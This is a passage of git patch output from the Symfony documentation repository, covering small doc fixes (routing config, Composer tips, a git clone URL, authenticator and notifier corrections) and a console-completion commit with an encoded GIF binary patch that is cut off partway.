-            prefix:   /_error
+        # config/routes/framework.yaml
+        when@dev:
+            _errors:
+                resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
+                prefix:   /_error
 
     .. code-block:: xml
 
-        <!-- config/routes/dev/framework.xml -->
+        <!-- config/routes/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+            <when env="prod">
+                <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
+            </when>
         </routes>
 
     .. code-block:: php
 
-        // config/routes/dev/framework.php
+        // config/routes/framework.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
-                ->prefix('/_error')
-            ;
+            if ('dev' === $container->env()) {
+                $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
+                    ->prefix('/_error')
+                ;
+            }
         };
 
 With this route added, you can use URLs like these to preview the *error* page

From 0e21ee15fc8755710064e800b19bef3098d7cd16 Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <mlechat@lucca.fr>
Date: Tue, 19 Apr 2022 15:58:55 +0200
Subject: [PATCH 1813/5766] Tell about COMPOSER_ROOT_VERSION when not working
 on the default branch

---
 contributing/code/tests.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 3ba250a50bb..376792f879f 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -24,6 +24,16 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     $ composer update
 
+.. tip::
+
+    Dependencies might fail to update and in this case Composer might need you to
+    tell it what Symfony version you are working on.
+    To do so set ``COMPOSER_ROOT_VERSION`` variable, e.g.:
+
+    .. code-block:: terminal
+
+        $ COMPOSER_ROOT_VERSION=4.4.x-dev composer update
+
 .. _running:
 
 Running the Tests

From 9f8af200521ac6659615e11af0d713841ae097f9 Mon Sep 17 00:00:00 2001
From: Sergey Belyshkin <sbelyshkin@clubautomation.com>
Date: Thu, 21 Apr 2022 13:57:16 +0700
Subject: [PATCH 1814/5766] Update git protocol in URL

Cloning into 'symfony-docs'...
fatal: remote error:
  The unauthenticated git protocol on port 9418 is no longer supported.
Please see https://github.blog/2021-09-01-improving-git-protocol-security-github/ for more information.
---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 2334f504400..78e90d04483 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -76,7 +76,7 @@ this value accordingly):
 .. code-block:: terminal
 
     $ cd projects/
-    $ git clone git://github.com/YOUR-GITHUB-USERNAME/symfony-docs.git
+    $ git clone git@github.com:YOUR-GITHUB-USERNAME/symfony-docs.git
 
 **Step 3.** Add the original Symfony docs repository as a "Git remote" executing
 this command:

From 3ae47aa3819fc687d42402d2effbcd10916094c0 Mon Sep 17 00:00:00 2001
From: Florian-B <Florian-B@users.noreply.github.com>
Date: Tue, 19 Apr 2022 16:48:50 +0200
Subject: [PATCH 1815/5766] Add InteractiveAuthenticatorInterface reference

---
 security/custom_authenticator.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index f75cb8df444..773e31360b7 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -176,6 +176,13 @@ can define what happens in these cases:
     above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
     if you want to set custom error messages.
 
+.. tip::
+
+    If your login method is interactive, which means that the user actively logged into your application, you may want your authenticator to implement the 
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
+    so that it dispatches an 
+    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+
 .. _security-passport:
 
 Security Passports

From 3feb2baee28cc5cf09f4e94bb91771247a473595 Mon Sep 17 00:00:00 2001
From: Maxime Nicole <101107892+ncsmnicole@users.noreply.github.com>
Date: Fri, 15 Apr 2022 15:47:02 +0200
Subject: [PATCH 1816/5766] Replace duplicate medium configuration

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 25a2ee442fb..786614e2ecd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -601,7 +601,7 @@ specify what channels should be used for specific levels (using
                 ->channelPolicy('high', ['chat/slack'])
                 // Use browser for medium and low notifications
                 ->channelPolicy('medium', ['browser'])
-                ->channelPolicy('medium', ['browser'])
+                ->channelPolicy('low', ['browser'])
             ;
         };
 

From 90acacaac608762e3d6948c58134ac1cd5f1661f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 16 Apr 2022 16:57:03 +0200
Subject: [PATCH 1817/5766] Document console completion

---
 _images/components/console/completion.gif | Bin 0 -> 154106 bytes
 console.rst                               | 142 +++++++++++++++++-----
 console/input.rst                         |  87 +++++++++++++
 page_creation.rst                         |   7 ++
 4 files changed, 203 insertions(+), 33 deletions(-)
 create mode 100644 _images/components/console/completion.gif

diff --git a/_images/components/console/completion.gif b/_images/components/console/completion.gif
new file mode 100644
index 0000000000000000000000000000000000000000..011ae0b935e51f8cd41a291e9f2c0d0e3d422259
GIT binary patch
literal 154106
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
